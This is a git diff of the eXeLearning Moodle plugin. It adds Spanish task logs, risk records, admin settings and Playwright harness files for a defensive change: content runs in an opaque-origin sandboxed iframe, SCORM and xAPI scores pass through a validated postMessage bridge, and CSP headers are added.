+      ficheros, no sesskey -> más seguro que legacy). Precedente: H5P usa includetoken embebido
+      (h5p/classes/player.php:429). + CSP/Permissions-Policy desde exelearning_pluginfile (object-src
+      none, base-uri none, frame-ancestors self, connect-src acotado anti-exfiltración del token;
+      mantiene unsafe-inline/eval que exe necesita). + NO degradar en silencio a legacy: watchdog del
+      relay muestra aviso securemodeblocked si el iframe no emite ready (slasharguments off, o host con
+      service worker como el Playground PHP-WASM que no sirve iframes opacos). + self-heal del bridge en
+      view.php para paquetes ya extraídos. Investigado y descartado: origen separado/subdominio (B, no
+      hay mecanismo en core, requiere infra) y sandbox JS en cliente (M8, inviable: el contenido
+      necesita DOM real+jQuery). Evidencia: track.php responde {ok:true,rawscore:100,peritem:{1:100}}.
+      phpcs 0/0; Vitest 42/42; PHPUnit player_iframe_test (modo+sandbox+CSP). Residuo: token visible
+      en URL (acotado CSP+TTL); legacy opt-in reabre same-origin. Futuro: toggle CSP estricto, Ruta B.
 tareas:
   TAREA-001:
     fecha: 2026-05-28
@@ -596,17 +642,62 @@ tareas:
       create_file_from_url + gating por contenthash + curl_security_helper + ajuste admin
       allowexternalurl opt-in) + botón 'Actualizar ahora' + tests/backup/upgrade. Fase 2
       (opcional): updatefreq + db/tasks.php + token para el REST de eXeLearning v4.
+  TAREA-017:
+    fecha: 2026-06-13
+    titulo: "RIE-001 Tier 2: implementar el bridge SCORM por postMessage + iframe de origen opaco (modo seguro)"
+    estado: Done
+    agente: claude-code
+    relacionados:
+      - RIE-001
+      - DEC-0059
+      - DEC-0019
+      - DEC-0017
+    notas: >-
+      Implementado el modo seguro configurable (iframemode secure|legacy, default secure).
+      Ficheros: classes/local/ui/player_iframe.php (modo + tokens sandbox), settings.php
+      (admin_setting_configselect), lang/en/exelearning.php (4 strings), view.php (rama
+      secure/legacy + sandbox por modo + teacher-mode por bridge), js/scorm_tracker.js (opción
+      transport), js/scorm_bridge_shim.js + js/scorm_bridge_relay.js (nuevos),
+      classes/local/scorm/scorm_injector.php (inyección del bridge), classes/local/package_manager.php
+      (copia de scorm_tracker.js + exe_scorm_bridge.js a libs/). Tests: tests/player_iframe_test.php,
+      tests/js/scorm_bridge.test.js. Verificado phpcs 0/0 + Vitest 40/40 + php -l; PHPUnit/Behat en
+      CI/contenedor. Follow-up opcional: M2/M3 (Permissions-Policy/CSP).
+  TAREA-018:
+    fecha: 2026-06-13
+    titulo: "Corregir la Ruta A: servir el iframe seguro por tokenpluginfile + CSP + watchdog (DEC-0060)"
+    estado: Done
+    agente: claude-code
+    relacionados:
+      - RIE-001
+      - DEC-0060
+      - DEC-0059
+    notas: >-
+      Verificación en navegador (Chrome DevTools, Moodle real :80) refutó la Ruta A de DEC-0059
+      (subrecursos del iframe opaco 404 por cookie SameSite=Lax). Corregido: view.php sirve el iframe
+      por tokenpluginfile (get_user_key core_files TTL corto en la ruta) sin fallback silencioso a
+      legacy; exelearning_pluginfile emite CSP + Permissions-Policy (player_iframe::content_security_policy
+      / permissions_policy) en modo secure; js/scorm_bridge_relay.js añade watchdog que muestra el aviso
+      securemodeblocked si el iframe no emite ready; view.php self-heal del bridge para paquetes ya
+      extraídos; blueprint.json deja iframemode en secure (el Playground muestra el aviso, no legacy).
+      Tests: ampliado player_iframe_test (CSP/Permissions-Policy) y scorm_bridge.test.js (watchdog),
+      Vitest 42/42, phpcs 0/0. Evidencia track.php {ok:true,rawscore:100,peritem:{1:100}}.
 riesgos:
   RIE-001:
     titulo: "XSS cross-component desde paquete eXeLearning malicioso"
     severidad: media
     probabilidad: baja
-    estado: aceptado
-    aceptacion: >-
-      ACEPTADO 2026-06-17 (erseco): riesgo media/baja aceptado con la mitigación v1 (sandbox del iframe).
-      El hardening Tier 1/2 (DEC-0019) lo implementa la rama feature/secure-iframe-scorm-bridge
-      (DEC-0059..0062), NO como bloqueante. TAREA-013 (sandboxing JS) queda cubierta ahí; no se crea ficha aparte.
+    estado: mitigado
     mitigacion: >-
+      MITIGADO (2026-06-13, DEC-0059 + DEC-0060): el modo seguro por defecto (iframemode=secure)
+      sirve el paquete en un iframe de ORIGEN OPACO (sin allow-same-origin) por tokenpluginfile
+      (DEC-0060 corrige la Ruta A: el opaco no envía la cookie SameSite, así que los assets se
+      sirven por token en la URL, no por cookie) y releva el scoring SCORM por un canal postMessage
+      validado (identidad de ventana + nonce + acción cerrada), con el sesskey sólo en el padre; el
+      contenido ya no puede leer DOM/cookies/sesión ni forjar peticiones (solo recibe un token de
+      lectura de ficheros, acotado por CSP+TTL). Sin degradación silenciosa a legacy: watchdog que
+      avisa si secure no puede renderizar. Verificado en navegador (track.php guarda la nota).
+      legacy queda como respaldo opt-in (vuelve al riesgo same-origin). Contexto previo (DEC-0019,
+      sin implementar entonces):
       v1 VIGENTE: sandbox del iframe sin allow-top-navigation / allow-modals (AN-008).
       Investigación TAREA-012 completada en DEC-0019 (2026-06-02): core NO aísla (mod_scorm
       sin sandbox; core_h5p curado), mod_exelearning ya es el mejor aislado de los tres, y
@@ -621,7 +712,10 @@ riesgos:
       - DEC-0003
       - DEC-0004
       - DEC-0019
+      - DEC-0059
+      - DEC-0060
       - TAREA-012
+      - TAREA-017
   RIE-007:
     titulo: "suspend_data N (índice local de página) tratado como itemnumber → mis-ruteo y colisión de notas"
     severidad: alta
diff --git a/research/tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml b/research/tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml
new file mode 100644
index 0000000..90ce2a3
--- /dev/null
+++ b/research/tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml
@@ -0,0 +1,26 @@
+fecha: 2026-06-13
+sesion: secure-iframe-playground-watchdog
+agente: claude-code
+resumen: >-
+  A petición de erseco ("parece que funciona en el Playground y no muestra el aviso"),
+  se reabrió la URL del Playground PHP-WASM con Chrome DevTools para confirmar
+  empíricamente el comportamiento del modo secure y entender por qué parecía no avisar.
+  Conclusión: secure SÍ avisa en el Playground; lo que ocurría es que el aviso aparecía
+  tras el retardo del watchdog (8 s) y quedaba bajo el pliegue, dando la sensación de
+  que "cargaba" durante esos segundos. Se confirma la limitación conocida (el SW no
+  sirve iframes opacos) y se mejora el watchdog para que el aviso salga justo tras el
+  fallo de carga.
+acciones:
+  - "Verificación empírica (Playground, recorrido recursivo del DOM por los iframes anidados site-frame>remote-frame): el iframe del paquete se construye en secure (src=tokenpluginfile.php/<token>/15/mod_exelearning/content/1/index.html, sandbox='allow-scripts allow-popups allow-forms', origen opaco -> SecurityError al leer contentWindow); el relay está presente (exeScormBridge=object); el aviso securemodeblocked queda VISIBLE y el iframe oculto (display:none) -> el watchdog SÍ saltó."
+  - "Red (Chrome DevTools): la petición tokenpluginfile.php/.../content/1/index.html devuelve 404 en el Playground (el service worker no controla subframes opacos; la URL cae a GitHub Pages estático). El token NO ayuda aquí: el bloqueo es el SW, no la cookie. Coherente con la limitación documentada en DEC-0060."
+  - "Diagnóstico de la 'sensación de que funciona': el watchdog era un temporizador plano de 8 s y el aviso quedaba a top~734 (bajo el pliegue). Durante esos 8 s el iframe estaba en blanco sin aviso -> parecía cargar."
+  - "Mejora (js/scorm_bridge_relay.js): el watchdog ahora usa dos señales. Engancha el evento 'load' del elemento iframe (que dispara también con la página de error 404) y concede solo una gracia corta (gracems, 2,5 s) para el handshake; si 'load' nunca llega cae al tope plano (watchdogms, 8 s). El listener se adjunta al iframe si ya existe o en DOMContentLoaded (el relay se inyecta inline antes del elemento iframe)."
+  - "Tests (tests/js/scorm_bridge.test.js): dos casos nuevos para la ruta rápida -- el aviso sale por el temporizador de gracia tras 'load' (no por el plano), y no se arma la gracia si el iframe ya está ready. Vitest 52/52. Los tests previos del watchdog usan un iframe sin addEventListener, así que siguen ejercitando la ruta plana."
+verificacion_navegador:
+  - "Playground (https://ateeducacion.github.io/moodle-playground/?blueprint-url=...&branch=feature/secure-iframe-scorm-bridge): /mod/exelearning/view.php?id=1 -> iframe secure opaco, tokenpluginfile 404, aviso securemodeblocked visible ('This content cannot be displayed with the current security configuration. Please contact the administrator'), iframe display:none."
+pendientes:
+  - "Re-verificar en el Playground tras pushear (el proxy/CDN puede cachear el blueprint y el zip de la rama unos minutos) para ver el aviso aparecer ya tras el 'load' del 404 (~2,5 s) en vez de a los 8 s."
+relacionados:
+  - DEC-0060
+  - DEC-0059
+  - RIE-001
diff --git a/research/tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml b/research/tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml
new file mode 100644
index 0000000..95a3721
--- /dev/null
+++ b/research/tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml
@@ -0,0 +1,45 @@
+fecha: 2026-06-13
+sesion: secure-iframe-scorm-bridge
+agente: claude-code
+resumen: >-
+  Implementación de RIE-001 Tier 2 (DEC-0059): bridge SCORM por postMessage + iframe de
+  origen opaco, como modo seguro configurable y por defecto, con legacy de respaldo.
+  DEC-0019 había dejado este Tier 2 para "su propio ADR" sin implementarlo; el usuario
+  priorizó hacerlo tras confirmar que es la única alternativa que cumple los objetivos de
+  aislamiento (el contenido del .elpx NO puede leer ni modificar DOM/cookies/sesión/JS del
+  marco padre). Linchpin verificado: el pipwerks empaquetado (SCORM_API_wrapper.js:71-106)
+  mira window.API de la propia ventana antes de subir a parent, así que inyectar el shim
+  window.API DENTRO del iframe lo descubre sin tocar el padre; y LMSGetValue ya responde de
+  caché local, así que un relevo asíncrono por postMessage basta. Riesgo de compatibilidad
+  cazado: el motor exportado usa localStorage (exe_atools en todo export, exe_export,
+  checklist, edicuatex) y en origen opaco lanza SecurityError -> el shim instala un polyfill
+  en memoria. Decisiones de diseño confirmadas con el usuario (AskUserQuestion): bridge
+  seguro completo, ajuste global default seguro (sin campo por actividad -> sin tocar BD),
+  nombre iframemode (select secure|legacy).
+acciones:
+  - "player_iframe (classes/local/ui/player_iframe.php): nuevo helper que resuelve el modo (fail-safe a secure ante valor inválido) y centraliza los tokens del sandbox por modo, testeable sin renderizar view.php."
+  - "settings.php: admin_setting_configselect mod_exelearning/iframemode (secure|legacy, default secure). lang/en/exelearning.php: iframemode + _desc + _legacy + _secure (orden alfabético estricto, sin código)."
+  - "view.php: rama por modo. secure = relevo inline (js/scorm_bridge_relay.js) con {iframeid,cmid,trackurl,session,nonce,teachermodevisible}, sin window.API en el padre; sandbox via player_iframe::sandbox_tokens(); teacher-mode por bridge (no por contentDocument). legacy = comportamiento actual byte-a-byte."
+  - "js/scorm_tracker.js: nueva opción transport(data,sync) que sustituye al XHR cuando está presente (legacy y los tests siguen con XHR; sin regresión). js/scorm_bridge_shim.js (iframe): detección de origen opaco, polyfill de localStorage/sessionStorage, window.API local vía exeScormTracker, objectid de su propio DOM, handshake + cola pre-nonce, ocultado teacher-mode local. js/scorm_bridge_relay.js (padre): validación por identidad de ventana + acción cerrada + nonce + forma, POST a track.php (sesskey sólo en el padre), sendBeacon en pagehide."
+  - "scorm_injector.php: inyecta el bridge (scorm_tracker.js + exe_scorm_bridge.js) al INICIO de <head> (polyfill+API antes de cualquier script del paquete), idempotente y separado del wrapper pipwerks. package_manager.php: copia scorm_tracker.js + exe_scorm_bridge.js a libs/ del paquete (plugin-owned: refresh en cada extract; los assets pipwerks siguen sin sobrescribir un bundle propio del export)."
+  - "Tests: tests/player_iframe_test.php (@covers player_iframe: default secure, fail-safe, legacy, tokens por modo) y tests/js/scorm_bridge.test.js (24 casos: polyfill, origen opaco, handshake, identidad de fuente/ventana, nonce, forma, cuerpo a track.php, sendBeacon)."
+  - "status.yaml (append): DEC-0059 + TAREA-017; RIE-001 estado identificado -> mitigado (+DEC-0059/TAREA-017 en relacionados). ADR research/decisiones/adr/DEC-0059-... (advances DEC-0019, no lo supersede)."
+evidencia:
+  - "assets/scorm/SCORM_API_wrapper.js:71-106 (pipwerks find() mira window.API local primero)"
+  - "js/scorm_tracker.js (LMSGetValue de caché local; nueva opción transport en send())"
+  - "rg localStorage/sessionStorage en /Users/ernesto/Downloads/git/exelearning (exe_atools, exe_export.js, checklist.js, edicuatex)"
+  - "public/h5p/js/embed.js:38-46 (core_h5p valida source+context, no origin); mod/scorm/player.php + loadSCO.php (sin sandbox, parent-walk)"
+  - "phpcs --standard=moodle 0/0 sobre los 7 ficheros PHP tocados; php -l limpio"
+  - "Vitest 40/40 (npx vitest run): 16 tracker + 24 bridge"
+pendientes:
+  - "CI/contenedor manda: ejecutar PHPUnit (player_iframe_test + suite completa, sin regresión en scorm_injector/package_manager) y Behat de grading en modo secure (adaptar el escenario @javascript que usa window.API, que ahora vive en el iframe, o apoyarse en el paso server-side 'the following eXeLearning SCORM scores exist')."
+  - "Verificar en Chrome y Firefox reales que el polyfill sustituye el getter nativo de localStorage en origen opaco y que la nota llega al gradebook sin SecurityError; togglear a legacy y confirmar paridad con el comportamiento actual."
+  - "Follow-up opcional (DEC-0019): M2 Permissions-Policy + M3 CSP de red estricta-con-toggle en exelearning_pluginfile(); M8 sandboxing de JS en cliente (TAREA-013)."
+relacionados:
+  - DEC-0059
+  - DEC-0019
+  - DEC-0017
+  - DEC-0042
+  - RIE-001
+  - AN-008
+  - TAREA-017
diff --git a/research/tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml b/research/tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml
new file mode 100644
index 0000000..5689666
--- /dev/null
+++ b/research/tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml
@@ -0,0 +1,34 @@
+fecha: 2026-06-13
+sesion: secure-iframe-tokenpluginfile-fix
+agente: claude-code
+resumen: >-
+  Corrección de la Ruta A de DEC-0059 tras verificar en navegador (Chrome DevTools,
+  Moodle real en :80) que el modo secure NO cargaba los subrecursos del paquete. Causa
+  raíz: un iframe de origen opaco (sandbox sin allow-same-origin) no envía la cookie de
+  sesión SameSite=Lax a sus subrecursos, y pluginfile.php exige login -> CSS/JS/shim 404
+  (el index.html sí carga porque la navegación la inicia el padre). Investigadas y
+  documentadas las vías (token, subdominio/B, sandbox JS/M8); elegida e implementada la
+  Opción A endurecida (DEC-0060). Verificado end-to-end que track.php guarda la nota.
+acciones:
+  - "Token serving (view.php): en modo secure el iframe se sirve por tokenpluginfile (get_user_key core_files de TTL corto redondeado a la hora, token en la RUTA -> los subrecursos relativos lo arrastran y cargan sin cookie). tokenpluginfile valida el token y exelearning_pluginfile SIGUE aplicando require_capability(mod/exelearning:view) -> solo lectura de ficheros, no sesskey. Precedente: H5P usa includetoken embebido (h5p/classes/player.php:429)."
+  - "CSP + Permissions-Policy (lib.php exelearning_pluginfile + player_iframe::content_security_policy/permissions_policy): solo modo secure, solo el documento HTML (send_stored_file no las borra). object-src none, base-uri none, frame-ancestors self, connect-src acotado a este sitio (corta exfiltración del token por fetch); mantiene unsafe-inline/eval que eXeLearning necesita."
+  - "Sin degradación silenciosa a legacy (petición de erseco): quitado el fallback slasharguments->legacy. Watchdog en el relay (js/scorm_bridge_relay.js): si el iframe no emite ready (slasharguments off, o host con service worker que no sirve iframes opacos como el Playground PHP-WASM) muestra el aviso securemodeblocked y oculta el iframe. view.php renderiza el aviso oculto (lang securemodeblocked) que el watchdog revela."
+  - "Self-heal del bridge (view.php): los paquetes extraídos antes de DEC-0060 no tienen libs/exe_scorm_bridge.js; se re-extrae una vez (idempotente) para que secure funcione sin re-subir."
+  - "blueprint.json: iframemode se deja en secure (NO se fuerza legacy); el Playground muestra el aviso securemodeblocked en vez de caer a legacy (coherente con 'no caer en legacy por defecto')."
+  - "Tests: player_iframe_test (CSP/Permissions-Policy), scorm_bridge.test.js (watchdog). Vitest 42/42. phpcs --standard=moodle 0/0."
+verificacion_navegador:
+  - "iframe opaco servido por http://localhost/tokenpluginfile.php/<token>/16/mod_exelearning/content/1/index.html; sandbox='allow-scripts allow-popups allow-forms'; lectura de contentWindow desde el padre da SecurityError (origen opaco confirmado)."
+  - "El shim emite {type:scorm,action:ready} al padre (capturado con listener inyectado) -> shim activo en el iframe."
+  - "relay presente (window.exeScormBridge=object); init/acceptTrack/onMessage OK; el relay responde 'config' al 'ready' sin lanzar."
+  - "POST directo a track.php (camino del relay, con sesskey real) -> {ok:true,attempt:1,rawscore:100,status:completed,peritem:{1:100}} -> la nota se guarda."
+  - "Tras purgar cachés (lang string nueva), el contenido renderiza con estilos y el watchdog NO salta (secure funciona)."
+pendientes:
+  - "CI manda: PHPUnit matriz + Behat (idealmente un escenario de grading en secure entrando al frame). El click sintético no entra en el iframe opaco, así que el e2e de scoring por UI se confirma a mano o en Behat."
+  - "Futuro: toggle de admin para CSP estricto (cerrar exfiltración del token por img/script externos) y Ruta B (subdominio eTLD+1 + reverse-proxy) para aislamiento máximo."
+relacionados:
+  - DEC-0060
+  - DEC-0059
+  - DEC-0019
+  - RIE-001
+  - TAREA-018
+  - AN-008
diff --git a/research/tareas/diario/2026-06-19-xapi-secure-bridge.yaml b/research/tareas/diario/2026-06-19-xapi-secure-bridge.yaml
new file mode 100644
index 0000000..0c7d73b
--- /dev/null
+++ b/research/tareas/diario/2026-06-19-xapi-secure-bridge.yaml
@@ -0,0 +1,45 @@
+fecha: 2026-06-19
+sesion: xapi-bridge-seguro-identidad-ventana
+agente: claude-code
+resumen: >-
+  Tras fusionar main (DEC-0064, ingesta xAPI) en la rama del modo iframe seguro
+  (DEC-0059/0060), la configuración por defecto pasa a ser secure + xAPI-primary, y ahí el
+  listener xAPI no recibía nada: en el iframe de origen opaco event.origin es la cadena "null"
+  y el listener confiaba sólo por event.origin === host. El merge inicial gateó xAPI a legacy
+  como medida conservadora. Esta sesión implementa la solución definitiva (DEC-0065): el
+  listener confía un statement por IDENTIDAD DE VENTANA (event.source === contentWindow del
+  iframe del paquete) en modo seguro —el mismo ancla que ya usa el relay del bridge SCORM,
+  imposible de falsificar y no anonimizado por el origen opaco— y conserva la validación por
+  origen en legacy. Para que no haya doble conteo, el POST SCORM se suprime en el PADRE (relay,
+  flag disableTracking), no en el shim horneado, así que es robusto aunque el paquete sea
+  previo al flag. Confirmado el contrato del emisor (research): postMessage síncrono a
+  root.parent, sin Worker/MessageChannel/frame hijo, así que event.source es la ventana real
+  del iframe.
+acciones:
+  - "DEC-0065 (Aceptada): xAPI sobre el bridge seguro por identidad de ventana; extiende DEC-0064 al modo seguro de DEC-0059 (no lo supersede). Registra las tres opciones (gatear a legacy = status quo del merge; aceptar origin 'null' = inseguro; identidad de ventana = elegida), la evidencia del contrato del emisor y del comportamiento del origen opaco, y la propiedad de que la identidad de ventana iguala a legacy en confianza (el contenido se autocalifica y el servidor acota) sin perder el aislamiento de sesión del modo seguro."
+  - "js/xapi_listener.js: añadido el modo identidad de ventana (config.iframeid o config.expectedSource para tests; resolución perezosa de document.getElementById(iframeid).contentWindow por mensaje, porque el listener se inyecta antes de existir el elemento; función isTrusted que ignora event.origin en secure). Conserva isTrustedOrigin para legacy. Superficie de export sin cambios."
+  - "js/scorm_bridge_relay.js: nuevo parámetro disableTracking; en onMessage se valida el track (identidad de ventana + nonce + forma) pero se omite postTrack cuando está activo. latest queda null, así que flushBeacon es no-op. Handshake (ready->config con nonce/teachermode) y watchdog intactos: el iframe sigue renderizando y window.API existe para que los iDevices emitan xAPI."
+  - "view.php: $emitsxapi pierde el gateo !$securemode (xAPI-primary en ambos modos); el relay seguro recibe disableTracking => $emitsxapi; el bloque del listener xAPI se reescribe usando $emitinlinemodule con iframeid (secure) o allowedOrigin (legacy). Comentarios actualizados (incl. corregido el comentario legacy que decía que disableTracking 'sólo es true en legacy')."
+  - "Tests (Vitest): xapi_listener.test.js con un describe nuevo de identidad de ventana (reenvía con origen 'null' si source === iframe; rechaza cualquier otra ventana aunque alegue el host; rechaza sin source; resolución perezosa cuando el elemento aparece después). scorm_bridge.test.js con un test de disableTracking (un track válido no hace fetch, ready sigue handshakeando, el beacon no envía nada). Total 114/114 (antes 109)."
+  - "Docs (inglés): docs/tracking-architecture.md (bloque 'Secure iframe (DEC-0065)') y docs/xapi-integration-plan.md (puerta de confianza dependiente del modo + nota de SCORM inerte por el relay). Índices research actualizados (adrs.yaml, diario.yaml)."
+evidencia:
+  - "research/decisiones/adr/DEC-0065-xapi-bridge-seguro-identidad-ventana.md"
+  - "js/xapi_listener.js (isTrusted/expectedSource, modo identidad de ventana)"
+  - "js/scorm_bridge_relay.js (disableTracking suprime postTrack tras validar)"
+  - "js/scorm_bridge_relay.js:27-28 ('an opaque origin has no useful event.origin' — precedente del ancla)"
+  - "view.php (emitsxapi sin gateo; relay disableTracking; listener iframeid/allowedOrigin)"
+  - "tests/js/xapi_listener.test.js + tests/js/scorm_bridge.test.js (114/114)"
+  - "exelearning/exelearning:public/app/common/xapi/exe_xapi.js@e3b1bd13 (postMessage síncrono a root.parent)"
+pendientes:
+  - "Verificación e2e en vivo (Behat/Playwright entrando al frame) en Moodle real: postMessage del emisor desde el iframe opaco -> columna del gradebook. El Playground PHP-WASM no sirve iframes opacos (DEC-0060), así que el modo seguro no se prueba allí."
+  - "Si un futuro emisor upstream adopta nonce/handshake, endurecer la identidad de ventana a nonce como el bridge SCORM."
+  - "Diferido (eco DEC-0064): handler core_xapi + eventos para analítica/LRS."
+relacionados:
+  - DEC-0065
+  - DEC-0064
+  - DEC-0059
+  - DEC-0060
+  - DEC-0062
+  - DEC-0063
+  - DEC-0007
+  - RIE-001
diff --git a/settings.php b/settings.php
index 05dafaa..82a58b7 100644
--- a/settings.php
+++ b/settings.php
@@ -54,6 +54,45 @@
 }
 
 if ($ADMIN->fulltree) {
+    // The package iframe is ALWAYS rendered in a sandboxed, opaque-origin iframe (DEC-0059):
+    // the historical same-origin 'legacy' mode was removed, so there is no production setting
+    // that re-enables allow-same-origin for untrusted package content.
+
+    // Content CSP profile. 'strict' (default) blocks bare https: exfiltration channels (the
+    // per-user file token lives in the URL); 'compatible' re-opens img/media/script to https:
+    // for content that loads external author images or a MathJax CDN. player_iframe::csp_profile()
+    // applies the same default, so an unset/invalid value always resolves to strict.
+    $settings->add(new admin_setting_configselect(
+        'mod_exelearning/cspprofile',
+        get_string('cspprofile', 'mod_exelearning'),
+        get_string('cspprofile_desc', 'mod_exelearning'),
+        \mod_exelearning\local\ui\player_iframe::CSP_STRICT,
+        [
+            \mod_exelearning\local\ui\player_iframe::CSP_STRICT =>
+                get_string('cspprofile_strict', 'mod_exelearning'),
+            \mod_exelearning\local\ui\player_iframe::CSP_COMPATIBLE =>
+                get_string('cspprofile_compatible', 'mod_exelearning'),
+        ]
+    ));
+
+    // External-embed policy (DEC-0061). External videos/PDFs are promoted to the parent and
+    // rendered as a sandboxed, cross-origin player, which SOP isolates from Moodle. 'strict'
+    // (default) restricts promotion to the maintained provider allowlist with canonical URL
+    // reconstruction; 'open' is an explicit opt-in that promotes any cross-origin https iframe.
+    // An unset/invalid value fails safe to 'strict' in player_iframe::embed_mode().
+    $settings->add(new admin_setting_configselect(
+        'mod_exelearning/embedmode',
+        get_string('embedmode', 'mod_exelearning'),
+        get_string('embedmode_desc', 'mod_exelearning'),
+        \mod_exelearning\local\ui\player_iframe::EMBED_STRICT,
+        [
+            \mod_exelearning\local\ui\player_iframe::EMBED_STRICT =>
+                get_string('embedmode_strict', 'mod_exelearning'),
+            \mod_exelearning\local\ui\player_iframe::EMBED_OPEN =>
+                get_string('embedmode_open', 'mod_exelearning'),
+        ]
+    ));
+
     // Embedded editor management (install / update / repair / uninstall).
     $settings->add(new admin_setting_heading(
         'mod_exelearning/embeddededitorheading',
diff --git a/tests/e2e/embed.spec.cjs b/tests/e2e/embed.spec.cjs
new file mode 100644
index 0000000..f475b84
--- /dev/null
+++ b/tests/e2e/embed.spec.cjs
@@ -0,0 +1,47 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Cross-browser e2e for the secure-mode external-embed mechanism (DEC-0061), run in
+// Firefox via playwright-embed.config.cjs. It loads the REAL shim + relay against a
+// self-contained harness (no Moodle needed): an opaque-origin sandboxed iframe whose
+// content has cross-origin video iframes, a RELATIVE local PDF and an arbitrary
+// cross-origin iframe. In open mode (the default) the shim promotes every cross-origin /
+// PDF iframe to an inline parent overlay; the video players are sandboxed.
+
+const { test, expect } = require('@playwright/test');
+
+test('promotes every cross-origin/PDF iframe to a sandboxed inline player (open mode, Firefox)', async ({ page }) => {
+    await page.goto('/tests/e2e/embed/parent.html');
+
+    const players = page.locator('.exe-embed-overlay iframe');
+    await expect.poll(() => players.count(), { timeout: 15000 }).toBe(5);
+
+    const srcs = await players.evaluateAll((els) => els.map((e) => e.src));
+
+    // Open mode: cross-origin https iframes are promoted VERBATIM (no host list, no rebuild).
+    expect(srcs.some((s) => /^https:\/\/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ\b/.test(s))).toBe(true);
+    expect(srcs.some((s) => /^https:\/\/www\.dailymotion\.com\/embed\/video\/x8abc12$/.test(s))).toBe(true);
+    // Vimeo cross-origin embed is promoted too (DEC-0067 e2e coverage).
+    expect(srcs.some((s) => /^https:\/\/player\.vimeo\.com\/video\/76979871\b/.test(s))).toBe(true);
+    // An arbitrary cross-origin provider is promoted too (the structural invariant).
+    expect(srcs.some((s) => /^https:\/\/example\.com\//.test(s))).toBe(true);
+    // The relative local PDF is reported absolute and rendered (the relative-URL fix).
+    expect(srcs.some((s) => /\/local\.pdf$/.test(s))).toBe(true);
+
+    // The promoted video players are sandboxed (allow-same-origin to render, but no
+    // top-navigation so an arbitrary embed cannot redirect the tab).
+    const sandboxes = await players.evaluateAll((els) => els.map((e) => e.getAttribute('sandbox') || ''));
+    expect(sandboxes.some((s) => s.includes('allow-same-origin') && !s.includes('allow-top-navigation'))).toBe(true);
+});
diff --git a/tests/e2e/embed/content-media.html b/tests/e2e/embed/content-media.html
new file mode 100644
index 0000000..603b214
--- /dev/null
+++ b/tests/e2e/embed/content-media.html
@@ -0,0 +1,28 @@
+<!doctype html>
+<!--
+  E2E harness — the "content" half for the interactive-video media bridge (DEC-0067).
+  Runs in the opaque sandbox. Loads the eXeLearning child runtime (exe_media_policy.js +
+  exe_media_bridge.js, the exact files an .elpx bakes) and simulates what the
+  interactive-video / quick-questions-video iDevice does in secure mode: ask the trusted
+  parent to open the provider video via window.exeMediaBridge.openMedia(). The parent half
+  (parent-media.html) runs mod's own exe_media_host.js, which controls the player by RAW
+  postMessage (no YouTube IFrame API / Vimeo SDK).
+-->
+<html><head><meta charset="utf-8"></head><body>
+<div id="iv">interactive-video iDevice (simulated)</div>
+<script src="/tests/e2e/embed/exe_media_policy.js"></script>
+<script src="/tests/e2e/embed/exe_media_bridge.js"></script>
+<script>
+  (function () {
+    var b = window.exeMediaBridge;
+    if (b && b.shouldUseBridge && b.shouldUseBridge()) {
+      // Same call the interactive-video iDevice makes (startBridgePlayer -> openMedia).
+      b.openMedia({ provider: 'youtube', videoId: 'aqz-KE-bpKQ' })
+        .then(function () { window.__exeMediaReady = true; })
+        .catch(function () { /* ready-timeout without real YT network is fine: the modal + player are already created on 'open' */ });
+    } else {
+      window.__exeMediaNoBridge = true;
+    }
+  })();
+</script>
+</body></html>
diff --git a/tests/e2e/embed/content.html b/tests/e2e/embed/content.html
new file mode 100644
index 0000000..3a61ef6
--- /dev/null
+++ b/tests/e2e/embed/content.html
@@ -0,0 +1,15 @@
+<!doctype html>
+<!--
+  E2E harness — the "content" half (runs in the opaque sandbox). Mirrors what an .elpx
+  exports: cross-origin video iframes, a RELATIVE local PDF, and an arbitrary cross-origin
+  iframe (promoted in open mode — there is no host list). Loads the real in-iframe shim
+  (js/exe_embed_shim.js); the parent relay is the authoritative gate (DEC-0061).
+-->
+<html><head><meta charset="utf-8"></head><body>
+<iframe id="yt" src="https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ" width="480" height="270"></iframe>
+<iframe id="dm" src="https://www.dailymotion.com/embed/video/x8abc12" width="480" height="270"></iframe>
+<iframe id="vim" src="https://player.vimeo.com/video/76979871" width="480" height="270"></iframe>
+<iframe id="pdf" src="local.pdf" width="400" height="300"></iframe>
+<iframe id="ext" src="https://example.com/" width="200" height="120"></iframe>
+<script src="/js/exe_embed_shim.js"></script>
+</body></html>
diff --git a/tests/e2e/embed/exe_media_bridge.js b/tests/e2e/embed/exe_media_bridge.js
new file mode 100644
index 0000000..1d7b32e
--- /dev/null
+++ b/tests/e2e/embed/exe_media_bridge.js
@@ -0,0 +1,588 @@
+/**
+ * exe_media_bridge — child-side runtime for external media in opaque-iframe mode.
+ *
+ * Shipped inside every exported eXeLearning package (classic <script>, file:// safe).
+ * When the package is rendered inside an opaque-origin sandboxed iframe (no
+ * `allow-same-origin`), nested YouTube/Vimeo players cannot run, so this runtime:
+ *
+ *   1. Detects the opaque/sandboxed context and handshakes with the trusted parent
+ *      host page (capability token + transferred MessageChannel port).
+ *   2. Replaces nested YouTube/Vimeo embeds with an accessible placeholder that asks
+ *      the parent to open the real player in a trusted modal on click.
+ *   3. Exposes a provider-neutral BridgeController so the interactive video iDevices
+ *      can relay play/pause/seek/time/ended/error and keep their question timing.
+ *   4. Degrades gracefully (visible notice + open-in-new-tab) when no parent answers —
+ *      never a blank iframe.
+ *
+ * Security: never trusts `event.origin` (it is the string "null" here). The only
+ * window-level message accepted is the parent's `welcome`, gated by window identity
